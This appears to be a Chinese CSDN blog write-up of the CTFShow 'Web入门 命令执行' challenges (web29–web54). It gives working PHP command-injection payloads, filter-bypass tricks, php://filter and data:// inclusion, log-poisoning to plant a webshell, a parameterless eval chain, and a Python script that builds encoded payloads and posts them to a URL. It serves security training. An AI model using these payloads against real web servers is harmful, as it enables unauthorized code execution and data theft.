CTFShow Web入门 命令执行(持续更新)

文章讲述了在一系列网络安全挑战中,如何通过逐步绕过过滤,利用各种编程技巧如系统命令执行、伪协议、编码解码、文件包含和payload构建,最终获取flag的过程。
摘要由CSDN通过智能技术生成

web29:

就过滤了一个flag,先查看当前目录下面有哪些文件

/?c=system('ls');

因为过滤了flag,所以直接用通配符即可

/?c=system('tac fla*');

flag=ctfshow{07ca0a20-53e2-4c7d-9061-8ef4e4920441}

web30:

比上题多过滤了system和php,可以用反引号``来执行系统命令

/?c=echo `tac fl*`;

除了system()、反引号``可以执行系统命令,exec()、shell_exec()、passthru()等函数也可以

flag=ctfshow{c4bec179-8aa8-4a65-8cff-6bdd0ba4951f}

web31:

较上题又多过滤了一些关键词,关键的是过滤了空格,可以用%09、%0a、${IFS}、<等方式来过滤

/?c=echo%09`tac%09fl*`;

flag=ctfshow{51cee231-dc73-4169-baad-03b6f9e46e73}

web32:

这题关键是将括号和反引号给过滤了,那么就不能用命令执行来获取flag了,可以使用include包含配合伪协议来完成

/?c=include"$_GET[a]"?>&a=php://filter/convert.base64-encode/resource=flag.php

这里分号;被过滤掉了,因为php最后一句在?>前可以不加分号,可以采用?>来绕过,作为语句的结束,所以&a=后面可以不受源码中preg_match()函数的过滤影响

得到flag.php源码的base64编码后的值

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OWRlZDQwZmItZWVkMC00MzUwLThlMjUtY2YyZTZiM2Y2ZGMyfSI7DQo=

再进行base64解码后得

flag=ctfshow{9ded40fb-eed0-4350-8e25-cf2e6b3f6dc2}

还可以使用包含日志文件'/var/log/nginx/access.log',然后进行UA头注入来获取flag

web33:

较上题多过滤了",可以继续用上题的做法,include后面不加双引号

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

flag=ctfshow{342453e6-da8e-41e9-8211-f3b5aae6a625}

web34:

和上题类似

flag=ctfshow{d1b84bb4-a8d1-4d3b-a1cd-cd46f096f663}

web35:

和上题类似,多过滤了左尖括号<,没有实质性的作用

flag=ctfshow{ae3eeb54-37eb-4b5e-b53d-5b2a88f04d7f}

web36:

flag=ctfshow{d07cda18-465e-42d8-8b1c-56369b695b09}

web37:

发现有包含include,又过滤了flag,直接包含他的日志

?c=/var/log/nginx/access.log

修改请求包的UA头,进行注入

然后菜刀进行连接

然后拿到flag

flag=ctfshow{a209e4c6-7ac0-4666-8665-a30ae1f2abed}

还可以用data://text/plain:base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=伪协议也可以

web38:

和上题一样可以用日志包含,然后挂马菜刀连接,和data伪协议,这里用伪协议来完成

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

flag=ctfshow{d0bd331c-722e-4dc8-b41a-513470dea83f}

web39:

include包含里变量c后面还加了个.php,这里用data伪协议

?c=data://text/plain,<?=system('tac fl*')?>

后面的.php可以不用管,include只会读到?>前

web40:

过滤了很多,但是括号只是过滤的中文的括号

先给payload,然后一步一步拆解

/?c=eval((array_pop(next(get_defined_vars()))));
然后POST传入参数1=system('tac flag.php');    1可换做其他,这是无参数RCE

1.get_defined_vars()函数在php中是返回由所有已定义变量所组成的数组, 我们print_r给他显示出来, 便能直观感受到

2.next(get_defined_vars()), 是查看数组中最后一个键值对, 用print_r显示出来

但如果我们通过POST传入一个1=phpinfo();,那么这时最后一个键值对便是刚输进去的1=phpinfo();

3.array_pop(next(get_defined_vars()))是将数组中最后一个键值对的值弹出,配和POST传入的1=phpinfo(); 弹出的就是phpinfo(), 用print_r显示出来

4.然后将弹出的phpinfo()执行,便是

eval((array_pop(next(get_defined_vars()))));

将phpinfo();换成system('tac flag.php');

flag=ctfshow{e8bfb1a1-bde7-4fe0-9f54-4f70ee862290}

web41:

过滤了数字、大小写字母和一些特殊符号,基本大部分的都过滤了,只能对ASCII码中没被过滤的字符进行匹配,需要用到python写一个自动化脚本,以下是摘自往上的python脚本代码

import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])


def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

运行脚本,输入本题URL,便能直接获得flag

flag=ctfshow{648da8df-e13f-46e7-a1c1-144f9006fbcc}

web42:

开始命令执行,这里如果直接c=tac flag.php 的话,会将flag值重定向到 /dev/null,同时将程序在后台运行,就无法成功显示flag

可以在后面加分号,或||来进行分隔,payload如下:

/?c=tac flag.php ;

flag=ctfshow{d0b68d30-a2f8-42e7-9da3-85b4b24c5d8d}

web43:

过滤了;和cat,用||来代替,payload如下:

/?c=tac flag.php||

flag=ctfshow{d4678ede-de28-4b4e-871b-4b60dd6e38ae}

web44:

较上题多过滤了flag,用通配符即可绕过,payload如下:

/?c=tac fl*||

flag=ctfshow{fbf26dcf-275f-4aeb-a366-fd4dab9b7acb}

web45:

较上题多过滤了空格,可以用%09,%0a,<,${IFS}等来绕过,payload如下:

/?c=tac${IFS}fl*||

flag=ctfshow{af714921-de7f-4c0a-8c18-d22434f35fd2}

web46:

这题又多过滤的几个特殊符号,通配符*被过滤了,可以用?代替,payload如下:

/?c=tac%09fla?.php||

flag=ctfshow{a6893fad-9aca-4ef6-b266-2b61202c7192}

web47:

和上题基本一样,就多过滤了几个读文件的命令,payload和一样

flag=ctfshow{ac6f7d85-32d1-4c55-86d7-5b432bc62f38}

web48:

依旧一样,多过滤了一些无关紧要的命令,payload不变

flag=ctfshow{b0bea776-75f0-4c42-b485-8c7de9830a69}

web49:

flag=ctfshow{82a7f0d9-91d0-4e0c-98c8-7902a646e853}

web50:

09被过滤,用<过滤空格,通配符?也用不了了,可以用''、""、\来拼接,payload如下:

/?c=tac<fla''g.php||

flag=ctfshow{2301f347-468a-48a7-8f95-f68cb48507c5}

web51:

tac被过滤了,同样可以用\、''、""来拼接,payload如下:

/?c=ta\c<fl\ag.php||

flag=ctfshow{b3eb7b30-8e68-431b-b3de-6f26e7ba634a}

除了这样还有个nl命令也可以读flag.php

web52:

<被过滤了,但是$没有被过滤,可以用${IFS}来绕过空格,payload如下:

/?c=ta\c${IFS}fla\g.php||

但显示flag不在这里

查看根目录有没有

/?c=ls${IFS}/||

有个flag文件

/?c=ta\c${IFS}/fl\ag||

flag=ctfshow{a5aa265b-4ad8-4c1d-9be3-0100392d2a7a}

web53:

和上题一样,就是不用在后面加||了,payload如下:

/?c=ta\c${IFS}fla\g.php

flag=ctfshow{22e61c33-df08-4b97-b199-f8915a432571}

web54:

过滤了很多,但是没过滤cp和mv,payload如下:

mv${IFS}f???.php${IFS}tj.txt

然后访问tj.txt

flag=ctfshow{d5b95076-f0f3-4df6-8be2-3d56fe6fcacf}

虽说过滤了很多读文件的命令,但还可以用uniq命令来读取flag.php文件

web55:

  • 22
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值